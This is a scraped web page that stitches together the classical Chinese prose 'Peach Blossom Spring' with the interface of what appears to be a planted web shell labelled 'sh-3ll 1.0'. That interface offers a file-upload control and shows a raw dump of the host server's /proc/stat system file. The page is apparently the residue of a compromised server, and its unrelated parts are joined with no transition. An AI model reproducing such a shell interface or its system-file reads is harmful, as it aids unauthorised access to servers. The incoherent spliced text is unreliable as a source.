晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/proc/self/root/proc/
Upload File :
Current File : //proc/self/root/proc/stat
cpu  80355929398 1284876207 18240120528 193848328789 531789902 954958590 2182300444 0 0 0
cpu0 1741489429 32691150 441391554 3888767888 10869934 23723322 43783629 0 0 0
cpu1 2025924999 30373872 402496011 3679031656 11714314 21489185 22858273 0 0 0
cpu2 1664378859 29816409 444626272 3901995148 10412432 23366398 113872620 0 0 0
cpu3 1864842750 27554807 381376224 3875708041 11748466 19837035 15898035 0 0 0
cpu4 1699280027 30491602 422671429 3982385711 10734424 21192328 23160739 0 0 0
cpu5 1781227471 26083152 368252084 3979103576 11660739 18977997 12944291 0 0 0
cpu6 1736362403 30477299 424339255 3942935999 10717073 20850676 25002416 0 0 0
cpu7 1727425223 25353178 358957440 4045681452 11649808 18393234 11469978 0 0 0
cpu8 1735596559 30201037 421872462 3944941871 10622210 20755994 27296756 0 0 0
cpu9 1684927511 24870551 350504681 4098962054 11724834 17811287 10560201 0 0 0
cpu10 1686798611 29323788 411546373 4007805473 10659170 20348160 25848308 0 0 0
cpu11 1305668510 16842256 315808548 4518638524 11379517 17004401 10821988 0 0 0
cpu12 1650140515 27909750 427649228 3953148473 10243275 22241671 101179946 0 0 0
cpu13 1622474245 24514663 339535885 4174424207 11825342 17331946 9791817 0 0 0
cpu14 1482339689 24708946 414395857 3943739127 9306644 24016053 297380892 0 0 0
cpu15 1605721811 24328752 335623484 4195856754 11859944 17174865 9552232 0 0 0
cpu16 1632161050 26933829 425348421 3976815422 10230624 22414472 98611164 0 0 0
cpu17 1614922063 24647271 335782438 4185852300 11780992 17446919 9552300 0 0 0
cpu18 1719073182 28623683 414916418 3979070261 10507231 20777391 19128869 0 0 0
cpu19 1574914036 24088774 331775207 4230881950 11795813 17225991 9444050 0 0 0
cpu20 1721324436 28885999 415805488 3968931392 10387874 20837150 26045102 0 0 0
cpu21 1563528841 24057757 329076382 4245260299 11807254 17126082 9370641 0 0 0
cpu22 1647045335 27296246 425662882 3958296112 10192078 22516241 102065796 0 0 0
cpu23 1558993465 24045915 327604354 4251575201 11839280 17040630 9300037 0 0 0
cpu24 1580765798 26972303 432577884 3944371180 10123327 23886956 174290593 0 0 0
cpu25 1558377844 23303702 311225873 4269881899 11234109 17030357 9029004 0 0 0
cpu26 1690558366 27795805 430387445 3913034082 10395424 22428031 97627222 0 0 0
cpu27 1564481332 23470566 316426489 4258286253 11584047 17066697 8978058 0 0 0
cpu28 1779052507 29941535 415709912 3913785832 10644717 20974219 22362571 0 0 0
cpu29 1590826139 23733903 319096360 4228919962 11689520 17157622 8975068 0 0 0
cpu30 1623823965 26256336 439378973 3896485610 10142015 23920337 173984159 0 0 0
cpu31 1602203512 24215398 319960581 4216188071 11772187 17217011 8888503 0 0 0
cpu32 1623423714 25993015 439731000 3896274194 10109224 23977330 174263293 0 0 0
cpu33 1610512901 24212549 318970687 4209012385 11921549 17068557 8796932 0 0 0
cpu34 1806811456 30025083 416267627 3888913885 10637260 21459644 18754937 0 0 0
cpu35 1921351538 31007914 332513420 3878366350 11465344 18044126 8660905 0 0 0
cpu36 1730801609 27970669 433152735 3871134389 10347878 22466072 96951422 0 0 0
cpu37 1627641879 24827591 318872757 4191580718 11964294 17087649 8722094 0 0 0
cpu38 1847473054 30159740 427007693 3833451883 10467871 21048293 22635439 0 0 0
cpu39 1620388580 24956664 319178576 4198270977 12054659 17066827 8703646 0 0 0
cpu40 1819200511 30069105 419344876 3870132412 10464065 21112576 22238230 0 0 0
cpu41 1586506616 24373963 320112113 4231268133 12049244 17143140 8831912 0 0 0
cpu42 1712383911 28054003 432955572 3884336953 10219244 22921256 101984664 0 0 0
cpu43 1631066115 25247615 320870668 4185090092 12030199 17367167 8776610 0 0 0
cpu44 1705365034 27773997 430359569 3888603842 9977924 22888110 107822072 0 0 0
cpu45 1632423204 25177577 320361644 4184207714 12055257 17390978 8780680 0 0 0
cpu46 1818598528 30094054 418196560 3875634342 10634753 21011330 18515341 0 0 0
cpu47 1625330241 25122411 320443114 4191288716 12136497 17324851 8786987 0 0 0
intr 340377187181 103 0 0 0 2140 0 0 0 1 0 52207434 0 0 0 0 0 0 0 310935 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 210113732 1302877348 1308867355 1298829736 1296540469 1302131348 1246387565 1306868055 1307209276 1295651084 1295763067 1294456347 1298260008 1204505163 1252075383 1264583944 1276585092 1293418703 1261375225 1301090166 1310212297 1307604481 1310656231 1311281662 1320966420 1324072342 1267973287 1270880223 1260351030 1241467665 1225763973 1188333670 1134020693 1205161719 1221077689 1213207927 1180491335 0 0 1172285739 1203110746 1216364623 1175897395 1179276194 1222102933 1199078987 1239582311 1206650486 1186029920 1203577688 1215447950 0 0 436088 436088 436088 436088 436088 436088 436088 436088 0 60909151 0 0 436088 436088 436088 436088 436088 436088 436088 436088 0 1 2741976922 3066818782 882729454 2053566937 2190579608 3581482914 759520068 2120239298 0 3 1991511565 2155233436 1963942506 2265243373 1916082496 2203080886 1997554518 4020876805 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 3422336429051
btime 1715510155
processes 10268622680
procs_running 24
procs_blocked 0
softirq 344943568998 38 2783980022 750740570 3924583153 31094722 3 1149400575 921407356 40200246 334713225